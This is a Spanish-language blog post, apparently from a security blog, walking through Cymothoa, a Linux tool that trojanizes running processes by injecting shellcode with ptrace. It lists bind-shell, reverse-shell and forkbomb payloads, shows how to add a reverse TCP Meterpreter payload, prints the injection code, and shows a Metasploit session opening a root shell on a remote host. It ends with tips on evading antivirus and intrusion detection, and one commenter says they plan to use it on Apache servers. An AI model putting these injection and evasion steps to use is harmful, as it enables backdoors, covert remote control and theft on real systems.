Infección de procesos en Linux con Cymothoa

Borja Merino, ingeniero informático y colaborador habitual del blog, al que pueden seguir en su Twitter http://twitter.com/borjamerino, comienza su andadura en 2012 con una entrada sobre Cymothoa. Esperamos que les guste.

Estos días he estado jugando un poco con Cymothoa. Para quien no lo conozca, esta herramienta te permite inyectar un payload dentro del espacio de direcciones de un proceso, o dicho de otro modo, troyanizar un proceso en Linux. Cymothoa está desarrollada en C y se encuentra disponible en Backtrack 5 dentro de /pentest/backdoors/cymothoa. (N.d.E. A su derecha pueden observar una imagen de una Cymothoa Exigua, un parásito que se adhiere a la lengua de determinados peces, la atrofia y acaba por reemplazarla por sí mismo, como si fuese un órgano más. Si tienen curiosidad, gogleen y verán que bicho tan interesante.)

Al no encontrar mucha información sobre su funcionamiento estuve indagando un poco sobre el código para ver exactamente como trabaja. La idea de esta herramienta es sobrescribir directamente el base address de alguna de las librerías utilizadas por el proceso, siendo por defecto el «dynamic linker/loader» (/libr/ld*.so). Los payloads utilizados por Cymothoa están embebidos en el propio binario y pueden verse con el parámetro -S aunque, como veremos a continuación, podremos incorporar los nuestros sin mucho esfuerzo:

root@bt:/pentest/backdoors/cymothoa# ./cymothoa -S

0 - bind /bin/sh to the provided port (requires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y) - izik 
2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
3 - /bin/sh connect back (requires -x, -y)
4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
5 - script execution (requires -i -c), creates a tmp file in the process dir you must 
    remove
6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/
7 - serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
8 - forkbomb (just for fun...) - Kris Katterjohn
9 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
11 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org

Cuando ejecutamos Cymothoa tendremos que especificar como parámetro el pid del proceso (-p), el shellcode deseado (-s) así como sus parámetros (IP, port, etc) siempre y cuando sean necesarios. Cymothoa utiliza la syscall ptrace para «atachear»(adjuntar) el proceso, guardar el contexto del mismo y redirigir EIP al shellcode seleccionado. Veamos el proceso paso a paso.

Empezaremos añadiendo un reverse_tcp meterpreter shellcode a Cymothoa y compilaremos el binario de nuevo. Para ello ejecutamos:

El fichero de cabecera payloads.h contiene la lista de payloads disponibles, los cuales se encuentran dentro de un array de estructuras de typo payload:

struct payload {
    char *description;
    size_t len; 
    char *shellcode;
    int  options;
};

Para incluir meterpreter añadiremos un nuevo elemento al array con la información del shellcode. El payload lo definimos como una macro (en el ejemplo CODE_12):

Si queremos aceptar como parámetros la IP y el puerto necesitamos sobreescribir dichos valores con AAAA y BB como muestra la imagen. Dichas constantes están definidas al comienzo de payloads.h como const char:

const char ip_mark = 'A',
port_mark = 'B',

Éstas serán sustituidas en tiempo de ejecución por los argumentos proporcionados por el usuario (funciones set_ip y set_port en personalization.h)

Si compilamos y mostramos de nuevo la lista de payloads veremos Meterpreter como opción 12:

root@bt:/pentest/backdoors/cymothoa# make
cc cymothoa.c -o cymothoa -Dlinux_x86
root@bt:/pentest/backdoors/cymothoa# ./cymothoa -S | tail -n1
12 - Reverse TCP Meterpreter: Puerto (-y) IP (-x) - Metasploit

Antes de lanzar Cymothoa veamos la dirección base del dynamic linker del proceso que queremos infectar (gedit en el ejemplo):

Ejecutemos ahora Cymothoa con los siguientes parámetros:

Según podemos ver, el código se ha insertado a partir de la dirección base del ld (0xb782b000). Además nos informa del contexto del proceso una vez hecho el attach –> ptrace(PTRACE_GETREGS,pid,&reg,&reg);

Guardar el contexto del mismo será necesario para poder restaurar el estado del proceso padre justo antes de ejecutar el shellcode (más adelante veremos cómo). Además, necesitamos modificar dichos valores para saltar a nuestro payload. Esto lo hace guardando el valor EIP en el stack y posteriormente sustituyéndolo por la dirección 0xb782b000 + 2. Veamos el fragmento de código que hace lo comentado (cymothoa.c):

// general purpose registers
ptrace(PTRACE_GETREGS,pid,®,®);       

// decrement STACK_POINTER
reg.STACK_POINTER -= BLOCK_SIZE; 

       printf("[+] new esp: 0x%.8lx\n", reg.STACK_POINTER);

       ptrace(PTRACE_POKETEXT, pid, reg.STACK_POINTER, reg.INST_POINTER);  

        // get the address for our shellcode
        ptr = beg = search_lib_region(pid, lib_name);

        printf("[+] injecting code into 0x%.8x\n", beg);

        reg.INST_POINTER = beg + 2;
        printf("[+] copy general purpose registers.\n");
        ptrace(PTRACE_SETREGS,pid,®,®);
	
	// inject the shellcode
	ptrace_inject(pid, ptr, sh_buffer, payload_len+1);

La función ptrace_inject únicamente sobrescribe /lib/ld con nuestro código. Comprobemos el resultado desde gdb:

Si nos fijamos Cymothoa ha añadido una serie de opcodes justo antes de nuestro payload. Esto lo hace desde la funcion payload_init(void) (cymotha.c):

if (use_fork) {
       memcpy(sh_buffer, fork_shellcode, fork_shellcode_len);
       memcpy(sh_buffer+fork_shellcode_len-1, payloads[args.payload_index].shellcode, 
                   main_shellcode_len);
   }

La finalidad de los mismos es hacer un fork() y permitir que el parent process vuelva a su ejecución. Como vimos antes, la dirección de EIP se almacenaba en el stack así que con el último return (0xc3) restauraría el mismo. Por otro lado, el proceso hijo hará un jump a nuestro shellcode. El resultado:

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 10.0.0.11
LHOST => 10.0.0.11
msf  exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.11:4444 
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1249280 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.11:4444 -> 10.0.0.10:41828) at 
           2011-12-17 10:26:15 +0100

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=43, suid=0, sgid=43
meterpreter > sysinfo 
Computer     : bt
OS           : Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 (i686)
Architecture : i686
Meterpreter  : x86/linux

El único problema que encuentro en Cymothoa es el hecho de disponer de payloads estáticos en el propio binario, lo cual puede ‘cantar’ frente a NIDS/ID/AV a la hora de descargar la herramienta. Para evitar ésto podemos construir un Cymothoa a medida con nuestros propios payloads o bien, modificar un poco el código y bajarlos en runtime sin necesidad de tocar disco :)

Comments

  1. Simplemente genial os felicito, creo que lo voy a usar en varios apache.

  2. demasiado avanzado para mi….por el momento…jeje un saludo y gracias por el tuto